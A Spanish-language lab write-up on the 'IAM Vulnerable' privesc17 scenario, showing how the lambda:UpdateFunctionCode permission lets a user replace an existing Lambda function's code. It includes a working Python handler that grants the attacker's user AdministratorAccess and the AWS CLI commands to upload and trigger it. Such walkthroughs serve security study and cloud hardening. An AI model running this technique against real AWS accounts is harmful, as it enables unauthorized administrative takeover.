# EditExistingLambdaFunctionWithRole

## Laboratorio

En este apartado se observará el ejemplo utilizando el laboratorio IAM vulnerable con el escenario privesc17. Para la correcta elevación de privilegios, depende de la interacción de otro usuario o de que la función actualizada sea ejecutada.

{% embed url="<https://bishopfox.com/blog/privilege-escalation-in-aws>" %}
Lab: IAM - Vulnerable | Escenario: privesc17
{% endembed %}

Un atacante con el permiso <mark style="color:green;">**lambda:UpdateFunctionCode**</mark> podría actualizar el código en una función Lambda existente con un rol de IAM adjunto para que importara la biblioteca de AWS relevante en ese lenguaje de programación y la usara para realizar acciones en nombre de ese rol.

### Configuración Inicial

Usuario del laboratorio: privesc17- EditExistingLambdaFunctionWithRole-user con los permisos:

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-137348ce2139e4108882661e6537ff1aa1cecf3e%2Fimage%20(15)%20(4).png?alt=media" alt=""><figcaption></figcaption></figure>

La cuenta de AWS debe contener una función Lambda existente, con un rol adjunto que tenga el permiso <mark style="color:green;">iam:AttachUserPolicy.</mark>

Tambien es necesario tener en la infraestructura de pruebas un lambda ya configurado con cualquier funcionalidad con el rol a cual se va a asociar:

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-d6ca976934ed656e655bad90492d6e98796b7331%2Fimage%20(6)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-1d7b31048157a9247181c6e537a9a95412b750f1%2Fimage%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

Posterior mente generar llaves e acceso desde cuenta administrador para interactuar con el usuario en AWS CLI y configurar un perfil para el usuario del laboratorio

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-67e40efd3dbe782a469f292c50e52412a17621f1%2Fimage%20(7)%20(1)%20(4).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-91fe704967ef3e8c4d76f84ca19cac14e9697f64%2Fimage%20(12)%20(4).png?alt=media" alt=""><figcaption></figcaption></figure>

### Explotación

En este escenario, se va a utilizar el privilegio del usuario <mark style="color:green;">**lambda:UpdateFunctionCode**</mark> para actualizar una función de lambda existente y añadirle código malicioso encargado de adjuntar una política de altos privilegios a nuestro usuario inicial.

La función lambda maliciosa es la siguiente.

{% code title="lambda\_function.py" overflow="wrap" %}

```python
import boto3
def lambda_handler(event, context): 
	client = boto3.client('iam')
	response = client.attach_user_policy(UserName='privesc17- EditExistingLambdaFunctionWithRole-user', 
	PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
	return response
```

{% endcode %}

Para subir el archivo de la nueva función lambda se usará el permiso <mark style="color:green;">**lambda:UpdateFunctionCode**</mark> es necesario llamar el archivo <mark style="color:green;">**lambda\_function.py**</mark> y luego comprimir el archivo en formato zip con el nombre <mark style="color:green;">**function.zip.**</mark> Después ejecutar el código:

{% code overflow="wrap" %}

```
aws lambda update-function-code --function-name FuncionHelloWorld --zip-file fileb://function.zip --profile privesc17
```

{% endcode %}

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-435601b34d2869e6544d7651ced8de27ccae8a95%2Fimage%20(11)%20(4).png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando se ejecuta la función, se elevan los privilegios del atacante. Si el atacante tiene el permiso <mark style="color:green;">**lambda:InvokeFunction**</mark>, entonces es posible simplemente invocar la función directamente. De lo contrario, ocurrirá cuando otro usuario o servicio ejecute la función. En el siguiente ejemplo, otro usuario ejecuta la función.

El siguiente comando muestra a otro usuario de AWS invocando la lambda.

```
aws lambda invoke --function-name FuncionHelloWorld output.txt --profile other
```

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-8d6301c57eddd16a4ae5dd96d1d69e26c96150a3%2Fimage%20(4)%20(1)%20(6)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

Finalmente ejecutando iam list attached user policies, podemos observar como el usuario inicial a ganado permisos de administrador:

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-db3b4ee4a357cdadb4b7ebb97ffc2361ade3b557%2Fimage%20(13)%20(4).png?alt=media" alt=""><figcaption></figcaption></figure>
